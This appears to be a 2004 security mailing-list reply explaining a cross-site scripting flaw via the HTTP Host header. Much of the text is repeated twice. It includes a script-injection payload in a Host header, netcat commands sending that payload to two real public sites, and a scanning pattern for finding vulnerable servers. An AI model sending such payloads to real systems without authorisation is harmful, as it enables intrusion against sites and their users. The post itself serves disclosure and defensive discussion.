In-Reply-To: <200406151517.i5FFH8pC029012 (at) web179.megawebservers (dot) com [email concealed]>
This just plain simple XSS attacks, and additionally it relies on a (long since?) patched vulnerability in IIS.
>Still unclear how or why this can be interpreted into the site
>or through the browser.
What is unclear?
1. they allow (whatever).(domainanme) hostnames into site. That is not very uncommon.
2. they generate absolute paths by concatenating "http://"+hostname+"/URI"
3. webserver does not abort with HTTP/1.1 400 Bad Request as it should.
This is not that uncommon, looking for this we will most likely find it in a lot of CGI/PHP/JSP/ASP code. Luckily, the attack requires the host to accept silly hostnames. The problem with e-gold.com is that they use an old webserver with an already fixed IIS vulnerability I think;
To extend the attack to more systems, one need to find dangerous meta characters which are not filtered by normal Bad Request / Bad Address filters.
I did a very hasty search for webservers which would output unformated hostnames or URI's in error messages, without any luck. But I am certain someone more tenacious will succeed. The net is vast.
Basically, searches for potential vulnerable sites can be automated by testing the pattern such as:
GET / HTTP/1.1
Host: XXXXXXXXXXXXXXXXX
GET /some_script HTTP/1.1
Host: XXXXXXXXXXXXXXXXX
GET /GIVE-ME-NOT-FOUND HTTP/1.1
Host: XXXXXXXXXXXXXXXXX
GET GIVE-ME-BAD-URI HTTP/1.1
Host: XXXXXXXXXXXXXXXXX
Do we get XXXXXXXXXXXXXXXXX back in HTML?
Would be pretty easy to add the most basic searches to vulnerability scanners I think.
This just plain simple XSS attacks, and additionally it relies on a (long since?) patched vulnerability in IIS.
>Still unclear how or why this can be interpreted into the site
>or through the browser.
What is unclear?
1. they allow (whatever).(domainanme) hostnames into site. That is not very uncommon.
2. they generate absolute paths by concatenating "http://"+hostname+"/URI"
3. webserver does not abort with HTTP/1.1 400 Bad Request as it should.
This is not that uncommon, looking for this we will most likely find it in a lot of CGI/PHP/JSP/ASP code. Luckily, the attack requires the host to accept silly hostnames. The problem with e-gold.com is that they use an old webserver with an already fixed IIS vulnerability I think;
bash-2.02$ cat test.txt
GET /hello/just/a/test/please/forgive/me HTTP/1.1
Host: "><script>alert()</script>
bash-2.02$ nc www.microsoft.com 80 < test.txt
HTTP/1.1 400 Bad Request
Content-Type: text/html
Date: Thu, 17 Jun 2004 20:15:07 GMT
Connection: close
Content-Length: 20
<h1>Bad Request</h1>bash-2.02$ nc www.e-gold.com 80 < test.txt
HTTP/1.1 404 Object Not Found
Server: Microsoft-IIS/4.0
Date: Thu, 17 Jun 2004 20:15:56 GMT
Connection: close
Content-Length: 930
Content-Type: text/html
<cut junk>
To extend the attack to more systems, one need to find dangerous meta characters which are not filtered by normal Bad Request / Bad Address filters.
I did a very hasty search for webservers which would output unformated hostnames or URI's in error messages, without any luck. But I am certain someone more tenacious will succeed. The net is vast.
Basically, searches for potential vulnerable sites can be automated by testing the pattern such as:
GET / HTTP/1.1
Host: XXXXXXXXXXXXXXXXX
GET /some_script HTTP/1.1
Host: XXXXXXXXXXXXXXXXX
GET /GIVE-ME-NOT-FOUND HTTP/1.1
Host: XXXXXXXXXXXXXXXXX
GET GIVE-ME-BAD-URI HTTP/1.1
Host: XXXXXXXXXXXXXXXXX
Do we get XXXXXXXXXXXXXXXXX back in HTML?
Would be pretty easy to add the most basic searches to vulnerability scanners I think.
Sincerly yours,
Peter, 11a nu
[ reply ]